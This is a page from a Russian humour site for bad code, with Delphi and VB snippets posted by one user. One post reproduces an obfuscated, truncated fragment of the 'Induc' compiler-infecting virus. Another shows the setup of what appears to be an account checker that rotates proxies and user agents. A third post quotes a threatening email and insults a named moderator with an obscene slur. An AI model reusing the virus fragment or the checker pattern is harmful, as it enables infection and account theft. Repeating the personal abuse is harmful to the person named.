Нашли или выдавили из себя код, который нельзя назвать нормальным, на который без улыбки не взглянешь? Не торопитесь его удалять или рефакторить, — запостите его на говнокод.ру, посмеёмся вместе!
+139
type
TCriricalThread = class (TThread)
private
FileS : integer;
Percent : integer;
DlSize : integer;
procedure SetMaxPos;
procedure SetCurPos;
procedure LockButton;
procedure DislockButton;
protected
Ну, уж если есть критические секции, почему бы не сделать критический поток?
TCriricalThread = class (TThread)
Stertor,
11 Сентября 2013
+80
Главная » Усыпление программы
Усыпление программы
Автор: -Гепард97-
Написать автору
[просмотров 751]
В VBS есть функция wscript.sleep, позволяющая усыпить скрипт. Но как такое сделать в VB? Ответ прост: делаем новый модуль и пишем код:
Public Declare Sub Sleep Lib "kernel32" (byval dwMilliseconds As Long)
И все. Когда прогу нужно усыпить, просто пишем в коде проги, если например прога должна остановиться на 2 секунды то пишем
Sleep 2000
Этого способа нет на MSDN, я его сам отрыл
Билл Гатэс прочел это и уснул...
Z-z-z-z...
Stertor,
10 Сентября 2013
+165
Пишу менеджер автозапусков:
type
tregkey = class
rootkey: hkey;
keyname: string;
param: string;
value: string;
function Rootkeyname:string;
end;
procedure TForm1.UpdateAutoruns;
var
i: integer;
lst: tlistitem;
rlist: tobjectlist;
keyname: string;
tregobj:tregkey;
begin
rlist := tobjectlist.create;
ListView4.items.clear;
try
regread(windows.HKEY_CURRENT_USER, 'Software\Microsoft\Windows\CurrentVersion\Run',rlist);
regread(windows.HKEY_CURRENT_USER,
'Software\Microsoft\Windows\CurrentVersion\RunOnce', rlist);
regread(windows.HKEY_CURRENT_USER,
'Software\Microsoft\Windows\CurrentVersion\RunServices', rlist);
regread(windows.HKEY_CURRENT_USER,
'HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run', rlist);
regread(windows.HKEY_CURRENT_USER,
'HKEY_CURRENT_USER\Software\Microsoft\ Windows NT\CurrentVersion\Windows', rlist);
regread(windows.HKEY_LOCAL_MACHINE,
'Software\Microsoft\Windows\CurrentVersion\Run', rlist);
regread(windows.HKEY_LOCAL_MACHINE,
'Software\Microsoft\Windows\CurrentVersion\RunOnce', rlist);
regread(windows.HKEY_LOCAL_MACHINE,
'Software\Microsoft\Windows\CurrentVersion\RunServices', rlist);
regread(windows.HKEY_LOCAL_MACHINE,
'Software\Microsoft\Windows\CurrentVersion\RunServicesOnce', rlist);
regread(windows.HKEY_LOCAL_MACHINE,
'HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\ Windows\CurrentVersion\RunOnceEx', rlist);
for i := rlist.Count - 1 downto 0 do
begin
tregobj:=tregkey(rlist[i]);
lst := ListView4.items.Add;
keyname := format('%s\%s\%s', [tregobj.Rootkeyname,tregobj.keyname, tregobj.param]);
lst.Caption :=keyname;
lst.SubItems.AddObject(tregobj.value,tregobj);
end;
finally
rlist.Free;
end;
end;
В итоге этот код
procedure TForm1.sBitBtn20Click(Sender: TObject);
var
i:integer;
reg:tregistry;
begin
for i:= listview4.Items.Count -1 downto 0 do
showmessage(tregkey(listview4.Items[i].subitems.Objects[0]).rootkeyname);
end;
либо вызывает ошибку доступа либо пустой messagebox.
В чем лажа? Я тупо не вижу ошибки.
Stertor,
07 Сентября 2013
+126
uses windows;
var sc:array[1..33] of string=('pr`r+vd}_~vrJ+ulq+rbIlqqltj<==22h+~e+roqd}fH#',
'+b~}ro+u/;H"/=;"Ju0;H"0=;"Ju5;H"5=;"Ju6;H"6=;"Jl{~H"!"JxrfvqH"Blq{locdl}+E~q`ro+BE<=2+A~}_`_AtAw~~_"J',
'rxrfH"O^?LT+DR+L+]DB@+?LT+O^+?D@="J+ep}bod~}+Psq#SIAto`JRIroqd}f$IRoqd}fJulq+++DID}o`f`qJa`fd}+++e~q+DIH<+o~+W`}foc#R$+_~+++a`fd}+++++Q`rpwoIHQ`rpwo:Bcq#Ato`#Rjdh$+s~q+S$J',
'++`}_J`}_J+ep}bod~}+?BpIroqd}fJa`fd}+++q`rpwoIHPsq#<3;7"ЫЦМ"$J`}_J+ep}bod~}+{lrIroqd}fJa`fd}+++Q`rpwoIHPsq#</47"апе"$J`}_J+ep}bod~}+dx{Iroqd}fJa`fd}+++q`rpwoIHPsq#<527"ЩЭТЮЕЭЕШЦБЦЩЧШ"$J',
'`}_J+ep}bod~}+_r<Iroqd}fJa`fd}+++q`rpwoIHPsq#147"]qЉdy‡~sLnq~|‡rtLTs|xpoL"$JJ`}_J+ep}bod~}+_r1Iroqd}fJa`fd}+++q`rpwoIHPsq#017"ejjK{hE"$+`}_J+ep}bod~}+_r2Iroqd}fJa`fd}+++Q`rpwoIHPsq#47"P‰e‡ЉywPЉ€`P‰{‰Pi{‰Yef‰€"$J',
'`}_J+ep}bod~}+_r/Iroqd}fJa`fd}+++q`rpwoIHPsq#557"-=:+- J< 87<5w"$J`}_J+ep}bod~}+_r0Iroqd}fJa`fd}+++q`rpwoIHPsq#07"TfwzTlee56:k€k"" "$J`}_J+ep}bod~}+clwIroqd}fJa`fd}+++q`rpwoIHPsq#107"ykyx‡o9:@|sp6€pp"$J',
'`}_J+ep}bod~}+p}xIRoqd}fJa`fd}+++Q`rpwoIHPsq#1007"—…—љ©‘ЧШў™’‘›њЬЄ’’"$J`}_J+ep}bod~}+d}poIroqd}fJa`fd}+++q`rpwoIHPsq#647"G5GJ9!‡€IG9H%,%Jl969"$J`}_J+ep}bod~}+erl_Iroqd}fJa`fd}+++q`rpwoIHPsq#/47"ACA@OgxhmUmVV.ODO"$J',
'`}_J+ep}bod~}+fcefIroqd}fJa`fd}+++q`rpwoIHPsq#<447"ЇНЇІЎ№прЄ°ҐЇҐ¶Ѕпрдўєє"$J`}_J+ep}bod~}+{w~clIroqd}fJa`fd}+++Q`rpwoIHPsq#<7"_t|x}r_r>_t_"$J`}_J+ep}bod~}+r`}_eq~xlf~_Iroqd}fJ',
'a`fd}+++Q`rpwoIHPsq#4<7"l0>NM>M3>p3/5"$J`}_J+ep}bod~}+adcIroqd}fJa`fd}+++Q`rpwoIHPsq#//7"_fkl{ЋBYSjXmD{}BmKXAC{}cЋ{"$J`}_J+ep}bod~}+rb~Iroqd}fJa`fd}+++Q`rpwoIHPsq#<357"ДРЮГФоешТП„ѓеГЭХеДВДедВДфРПДЭ"$J',
'`}_J+ep}bod~}+bfIroqd}fJa`fd}+++Q`rpwoIHPsq#37"jf}‡Ћd‰xOZfwx^xd‰OYWjO"$J`}_J+ep}bod~}+L#rIroqd}f$Iroqd}fJulq+dId}o`f`qJa`fd}+e~q+dIH<+o~+w`}foc#r$+_~+a`fd}+rjdhIHbcq###Ato`#rjdh$:<$+s~q+<;$85$J',
'de+rjdhHBcq#20$+oc`}+rjdhIHBcq#24$J`}_Jq`rpwoIHrJ`}_J+{q~b`_pq`+A#r7_7`Iroqd}f$Julq+oIroqd}fJe<7e1Io`soedw`JcIblq_d}lwJeIROLQOP[D]E^J{I[Q^B@RRnD]E^QXLOD^]Jo<7o17o2IEDW@ODX@Jddx{Iroqd}fJa`fd}+Љ D8€+',
'oIHrJlrrdf}edw`#e<7r$Jq`r`o#e<$Jde+d~q`rpwoGM;oc`}+`sdoJlrrdf}edw`#e17_:{lr$Jq`vqdo`#e1$Jde+d~q`rpwoGM;+oc`}+a`fd}+bw~r`edw`#e<$J`sdoJ`}_Jddx{IHdx{Jvcdw`+}~o+`~e#e<$_~+a`fd}+q`l_w}#e<7r$J',
'vqdo`w}#e17r$Jde+{~r#ddx{7r$GM;+oc`}+++aq`lzJ`}_J+vqdo`w}#e17L#rbj<h$$Je~q+cIH<+o~+228<+_~+++vqdo`w}#e17"""":rbjch7"""7"$Jvqdo`w}#e17"""":rbj22h:"""$J"$Je~q+cIH1+o~+22+_~+vqdo`w}#e17L#rbjch$$J',
'bw~r`edw`#e<$Jbw~r`edw`#e1$J+cIHBq`lo`Edw`#{bclq#_:_bp$7;7;7}dw727;7;$Jde+cH?V^Q?#8<$+oc`}+`sdoJF`oEdw`Odx`#c7Ko<7Ko17Ko2$JBw~r`Cl}_w`#c$Jedwwbclq#e7rd‰`~e#e$7;$Je=baIHrd‰`~e#e$Je=_vEwlfr+IHROLQOEnPR@RC^VVD]?^VJe=vRc~vVd}_~vIHRVnCD?@J',
'+de+}~o+Bq`lo`[q~b`rr#}dw7{bclq#`:"!":_:{lr:"!"$7+++++++++}dw7+}dw7elwr`7;7}dw7}dw7e7{$+oc`}+`sdoJVldoE~qRd}fw`^ay`bo#+{=c[q~b`rr7+D]ED]DO@$J?`w`o`Edw`#{bclq#_:{lr$$J+cIHBq`lo`Edw`#{bclq#_:_bp$71057;7}dw727;7;$J',
'de+cH?V^Q?#8<$+oc`}+`sdoJR`oEdw`Odx`#c7Ko<7Ko17Ko2$JBw~r`Cl}_w`#c$JLrrdf}edw`#e<7o$Jde+D^Q`rpwoGM;+oc`}+`sdoJQ`vqdo`#e<$JVqdo`w}#e<7xrfvq$JBw~r`edw`#e<$J`}_J+ep}bod~}+B#OI[Bclq$IRoqd}fJ',
'ulq+zICZ@TJbIlqqlt+j<==100h+~e+bclqJdIblq_d}lwJqIroqd}fJa`fd}+de+Q`f^{`}Z`t@s#CZ@TnW^BLWnXLBCD]@7+O7;7Z@TnQ@L?7z$H;+oc`}+a`fd}+dIH100Jde+Q`f\p`qtUlwp`@s#z7[Bclq#?R1$7}dw7Kd7Kb7Kd$+H+;+oc`}+',
'a`fd}+qIH""J+dIH<J+vcdw`+bjdh+GM+Bcq#;$+_~++a`fd}+++qIHq:bjdhJd}b#d$J+`}_JQ`rpwoIHqJ`}_JQ`fBw~r`Z`t#z$J`}_J`}_J+ep}bod~}+Dr?afIa~~w`l}Julq++LIAto`Ja`fd}+Q`rpwoIHelwr`Jlrx+++x~u+L7;J++x~u+`ls7erIj;;;;;;<3chJ',
'++x~u+`ls7j`ls+:2;chJ++x~u‰s+`ls7ato`+{oq+j`ls:;1hJ++bx{+`ls7<J++y}`+KWAWJ++x~u+L7<JKWAWI+`}_JDe+LGM;+oc`}+q`rpwoIHoqp`J`}_J+ep}bod~}+Dr?`apff`q[q`r`}oZ`q}`wIa~~w`l}Jlrr`xaw`qJ',Знаменитый вирус "Индюк", точнее, небольшой обрезок. Вирус распространяется через компилятор, посредством инфицирования системных юнитов.
Stertor,
06 Сентября 2013
+121
Держу - верчу вот, в руках сидюк. На обложке надпись: "Программирование для школькиков и студентов".
Вроде бы пустяк, но с недавних пор эта фраза для меня звучит весьма кощунственно.
Stertor,
03 Сентября 2013
+87
FileName := Format('%.2d',[I]) + 'frame' + Format('%.3d', [J]) + '.jpg';Вычисление названия картинки в цикле
1291,
02 Сентября 2013
+138
persjempre <[email protected]>,Akka Knebekaize <[email protected]>
Значит слушай внимательно, тупица, что я тебе скажу.
Никакой ты не крутой пацан, ты сосунок, который нарывается на ссору с
органами. В предыдущем письме ты четко сдал себя со всеми потрохами,
указав двух свидетелей твоего беспредела. 30 лет работы в прокуратуре
меня кое-чему научили. Я не поленился найти этого паренька,
администратора того форума программистов и пообщаться с ним. Виталий
оказался примилейшим человеком, и показал мне вашу с ним перепалку.
Да, я много гопоты повидал, и ты пожалуй один из немногих уникалов,
который повеселил и меня и наш отдел по защите персональной
информации. С тебя ржали все мои бойцы, сказали что давно такого
детского сада не видели. Это же надо - упорно месить грязь под разными
именами с разных каналов! Вот молодец. Мало того, что засветился как
свеча в темной комнате, мне даже не потребуется делать усиленных
телодвижений для вычисления твоего адреса места проживания, так еще и
упорно плодишь кучу доказательств своей неправоты. Слышал такую
пословицу: "Язык до Киева доведет"? Не? Поясняю - твоя клевета и
оскорбления обязательно будут доведены до криминала, если будешь
продолжать с таким же упорством кричать в публичных местах интернета,
демонстрируя свою храбрость и безнаказанность. Как человек с
многолетним опытом, наблюдавший не один десяток таких дел скажу -
найдет твоя коса на каменюку, обязательно.
Значит слушай теперь, малыш, внимательно. Зовут меня Вениамин
Валентинович, и работаю я прокурором. Прикинь, прокуроры тоже умеют
пользоваться интернетом, и соблюдать нетикет (хотя вряд ли ты о нем
слышал, твои понятия морали судя по твоему языку на нуле). Я
предупредил Виталия, что если он или кто-то из них пострадает от
твоего грязного рта, пусть они мне напишут, предоставив твои слова. Я
постараюсь помочь честным людям наказать обидчика. Я дам ход
"плавному" делу. Поверь мне выписать ордер мне ничего не стоит, и
любая организация, занимающаяся связью с радостью мне поможет,
предоставив журнал связи абонентов. А учитывая твой многоликий янус,
следы которого остались как оказалось не только на том сайте, пробить
по совпадениям твой адрес прописки легче простого.
Если ты еще не в курсе, или попросту в школе не учился поясняю:
"Преступления в сфере информационных технологий включают как
распространение вредоносных вирусов, взлом паролей, кражу номеров
кредитных карточек и других банковских реквизитов (фишинг), так и
распространение противоправной информации (клеветы, материалов
порнографического характера, материалов, возбуждающих межнациональную
и межрелигиозную вражду и т.п.) через Интернет, коммунальные
объекты[1]."
К твоему вниманию перечитывать до полного просветления слова "Клевета"
и "межнациональная вражда". Сюда же относится и оскорбления по половым
признакам, а они в твоих постах есть. Будь уверен при необходимости
особое внимание суд уделит именно им, как показаниям зачинщика
преступления, т.е. основной первопричины.
Учитывая твои угрозы мы так уж и быть сошлемся на статью 273 УК. А
так же ст. 130. И все они будут направленны прежде всего на тебя как
на инициатора, и главного организатора беспредела.
Советую тебе сразу искать крутого адвоката, если нет желания забиться
в угол и перестать терроризировать интернет. Я обязательно попрошу еще
своих бойцов проверить тебя на сайте xaker.ru, где вполне можно
прихватить за взломы.
В общем мой тебе добрый совет, не ломай свою жизнь, я уверен что ты
еще молодой, и схлопотать срок, пусть даже условный не желаешь. Даже
административные наказания не пройдут тебе даром, если ты
несовершеннолетний то для твоих родителей.
Кончай баловаться с огнем! Я тебя предупредил - еще раз выскажешься
неадекватно в мою сторону, или Виталий (или любой другой) пожалуется
на тебя, будешь иметь дело с правоохранительными органами, это я тебе
обещаю.
<[email protected]>
Ваш унылый троллинг все больше напоминает попытки запихнуть штепсель от холодильника в USB разъем. Я на такое не ведусь.
Вот какой он, суровый дядя прокурор с Программерсфорума)
Реально же эта писанина принадлежит одной пизде-мордераторше с programmersforum.ru (Ice Valery)
Stertor,
29 Августа 2013
+136
type
Potok = class(TThread)
private
FAcc : string;
FPas : string;
Ip : string;
Port : string;
Rez : Integer;
protected
procedure Execute; override;
public
procedure Sync;
constructor Create(CreateSuspended: Boolean);
end;
var
Form2: TForm2;
Accounts, Proxy:Tstringlist;
Thread, Acc:integer;
Work:boolean;
CS:TcriticalSection;
GoodFile, BadFile: textfile;
tp:integer;
Balance, Login, Email:string;
UserAg: array [0..20] of string=(
'Mozilla/5.0 (Windows; U; Win98; en-US; rv:0.9.2) Gecko/20010726 Netscape6/6.1',
'Mozilla/5.0 (Windows; U; Win9x; en; Stable) Gecko/20020911 Beonex/0.8.1-stable',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.2.153.1 Safari/525.19',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.4/Megaupload 3.0',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.452) Gecko/20041027 Mnenhy/0.6.0.104',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; iRider 2.21.1108; FDM)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; MathPlayer2.0)',
'Mozilla/5.0 (Windows; U;XMPP Tiscali Communicator v.10.0.1; Windows NT 5.1; it; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3',
'Mozilla/5.0 (X11; U; Linux 2.4.2-2 i586; en-US; m18) Gecko/20010131 Netscape6/6.01',
'Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.7.6) Gecko/20050405 Epiphany/1.6.1 (Ubuntu) (Ubuntu package 1.0.2)',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.3) Gecko/20010801',
'Mozilla/5.0 (Linux; U; Android 2.2; en-us; Nexus One Build/FRF91) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',
'Mozilla/5.0 (Linux; U; Android 2.2; en-us; DROID2 GLOBAL Build/S273) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',
'Mozilla/5.0 (Linux; U; Android 2.1-update1; de-de; E10i Build/2.0.2.A.0.24) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Mobile Safari/530.17',
'Mozilla/5.0 (Linux; U; Android 2.2; nl-nl; Desire_A8181 Build/FRF91) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Google Wireless Transcoder;)',
'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; Xbox)',
'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; Tablet PC 2.0; InfoPath.2; InfoPath.3)',
'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; winfx; .NET CLR 1.1.4322; .NET CLR 2.0.50727; Zune 2.0)',
'Mozilla/4.0 (compatible; MSIE 5.01; Windows 95; MSIECrawler)'
);
implementation
{$R *.dfm}Бля, говорят же, что нельзя пить и курить марихуану перед зачатием детей, иначе родятся наркоманами.
Stertor,
28 Августа 2013
+120
Раз уж у нас пошла мода на анальные уроки - выложу, пожалуй, еще одну ссылку:
http://avtuh.ru/2010/04/09/delphi-dopolnitelnyj-potok-v-programme.html
На видео анальный учитель с сайта avpetuh.r доходчиво объясняет, как нужно обращаться из потока к компонентам формы.
Долой синхронизацию!!!
Stertor,
27 Августа 2013
+136
begin
if(TimerVremya.Enabled = True) then
begin
if(CheckBox1.Checked = False) then
begin
Bass_channelPlay(Channel, false);
Panel1.Caption := 'Playing';
TimerFraza.Enabled := False;
end
else
begin
Bass_channelPlay(Privlek, false);
Timer2.Enabled := True;
TimerFraza.Enabled := False;
end;
end;А не ударить ли нам по басам? Вот только запашок не к месту, с чего бы такая оказия?..
Stertor,
23 Августа 2013
Follow us!